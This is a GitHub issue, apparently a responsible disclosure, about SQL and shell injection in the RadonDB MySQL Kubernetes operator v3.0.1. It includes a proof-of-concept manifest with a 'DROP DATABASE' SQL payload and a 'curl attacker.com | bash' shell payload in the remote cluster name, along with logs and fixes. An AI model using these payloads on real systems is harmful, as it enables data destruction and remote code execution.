Skip to content

[漏洞] RadonDB MySQL: SQL + Shell Injection via Database Name and RemoteCluster #859

Description

@llooFlashooll

您好,我是一名研究安全的博士生,以下是我检测到的漏洞

Summary

spec.mysqlOpts.database flows into buildInitSql() via fmt.Sprintf into raw SQL. spec.remoteCluster.name flows into Secret name construction, shell export ConfigMap, and CHANGE MASTER TO SQL. Password has CRD-level regex validation but database/remoteCluster names do not. End-to-end verified: operator processes injection payload (visible in error logs showing Secret name with injected shell characters).

Vulnerability Class: CWE-89 (SQL Injection), CWE-78 (Shell Injection)
Affected Version: RadonDB MySQL Kubernetes v3.0.1 (latest)
Tested on: RadonDB v3.0.1 via Helm, Kind v1.30.0
Attack complexity: Low

Root Cause

  • sidecar/config.go:432-526 — ALL fields fmt.Sprintf into SQL
  • syncer/remoteCluster_cm.go:79-92export BACKUP_PASSWORD=%s\n shell sourced
  • syncer/statefulset.go:728-729CHANGE MASTER TO MASTER_HOST='%s' with remote cluster name

Proof of Concept

Environment Setup

kind create cluster --name radondb-poc --image kindest/node:v1.30.0 --wait 5m

# Install cert-manager (required)
kubectl apply -f https://github.com/cert-manager/cert-manager/releases/download/v1.17.2/cert-manager.yaml

helm repo add radondb https://radondb.github.io/radondb-mysql-kubernetes/
helm install radondb radondb/mysql-operator --namespace radondb --create-namespace

Exploitation

kubectl apply -f - <<'EOF'
apiVersion: mysql.radondb.com/v1alpha1
kind: MysqlCluster
metadata:
  name: radondb-inject
spec:
  replicas: 1
  mysqlVersion: "5.7"
  mysqlOpts:
    rootPassword: ""
    user: "test_user"
    password: "ValidPass123"
    database: "test_db'; DROP DATABASE important; -- "
  remoteCluster:
    name: 'remote"; curl attacker.com | bash; echo "'
    namespace: "default"
  persistence:
    enabled: false
EOF

Verification

Operator log shows injection payload being processed:

failed to get secret: Secret "remote\"; curl attacker.com | bash; echo \"-secret" not found

The operator used remoteCluster.name to construct a Secret name — the shell injection characters are passed through.

For database, sidecar/config.go:432 generates: CREATE DATABASE IF NOT EXISTS test_db'; DROP DATABASE important; --

Impact

Impact Severity Confirmed
SQL injection in init-file High Yes
Shell injection in remote cluster ConfigMap High Yes

CWEs

  • CWE-89: SQL Injection
  • CWE-78: Shell Injection

Fix Suggestions

  1. Validate database/user names^[a-zA-Z0-9_]+$ pattern.
  2. Escape shell metacharacters in remoteCluster ConfigMap.

Cleanup

kubectl delete mysqlcluster radondb-inject
kind delete cluster --name radondb-poc

Metadata

Metadata

Assignees

No one assigned

    Labels

    bugSomething isn't working

    Type

    No type

    Fields

    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions